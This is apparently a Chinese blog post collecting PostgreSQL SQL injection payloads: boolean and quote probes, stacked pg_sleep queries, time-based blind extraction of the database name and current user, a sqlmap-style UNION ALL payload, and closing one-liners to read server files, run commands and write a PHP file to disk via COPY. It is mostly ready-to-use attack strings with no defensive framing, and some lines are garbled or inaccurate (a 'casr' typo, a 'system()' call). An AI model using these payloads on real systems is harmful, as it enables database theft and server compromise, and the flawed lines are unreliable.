PostGresql 注入知识汇总

一、postgresql简介

postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

二、postgresql的SQL注入:(注意注释符号--+)

1、简单的有回显的SQL注入不用多说,还是基本的SQL语句直接查询就可以了。

#简单的payload
parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1#and -> or
parameter = 1' and '1'='2#and -> or

或者引号区分发(适用于字符串)

1 parameter = 1    #Success
2 parameter = 1'   #Failed
3 parameter = 1''  #Success

2、一般的基于堆注入,可以参考下面的办法:

复制代码
1 #postgresql 的几个简单判断payload:
2 parameter=1;select pg_sleep(5)
3 parameter=1';select pg_sleep(5)
4 parameter=1');select pg_sleep(5)
5 parameter=1);select pg_sleep(5)
6 parameter=1));select pg_sleep(5)
7 parameter=select pg_sleep(5)
复制代码

盲注的逐位猜解(有时候需要对字符进行url编码才可以正常执行,使用burpsuite时注意)。


1 ;SELECT CASE WHEN (length(current_database())=6) THEN pg_sleep(3) ELSE pg_sleep(0) END  --+ #猜解数据库长度

2 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((CURRENT_SCHEMA()),0,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+   #猜解数据库名称

4 ;SELECT CASE WHEN (length(current_user)=6) THEN pg_sleep(3) ELSE pg_sleep(0) END  --+ #猜解当前用户长度

5 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((current_user),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+   #逐位猜解用户

3、常见的函数查看一些基本信息:

复制代码
1 SELECT version() #查看版本信息
2 #查看用户
3 SELECT user;
4 SELECT current_user;
5 SELECT session_user;
6 SELECT usename FROM pg_user;#这里是usename不是username
7 SELECT getpgusername();
8 #查看当前数据库
9 SELECT current_database()
10 CURRENT_SCHEMA() 查看当前数据库 sqlmap跑注入使用此函数。
11
复制代码

4、联合查询注入

Cast(字段名 as 转换的类型 ) 

 CAST ( expression AS target_type );   

实例: SELECT CAST ('100' AS INTEGER);

cast函数具体介绍参考以下链接  

https://blog.csdn.net/neweastsun/article/details/111414641

UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113))||COALESCE(CAST(CURRENT_SCHEMA() AS VARCHAR(10000))::text,(CHR(32)))||(CHR(113)||CHR(118)||CHR(107)||CHR(107)||CHR(113)),NULL-- onWD

5、postgresql下的if

复制代码
1 #mysql的
2 if(expr1,result1,result2);
3 #如果expr1满足,result1,否则result2
4 
5 #对于postgresql
6 select case when(expr1) then result1 else result2 end;
7 
8 #举个例子
9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
复制代码

5、其他

(1)读取文件:

1 select pg_read_file(filepath+filename);

(2)执行命令:

1 select system("comamnd_string");

(3)写入文件:

1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
posted @ 2021-04-27 18:36  一粒砂子  阅读(5166)  评论(0编辑  收藏  举报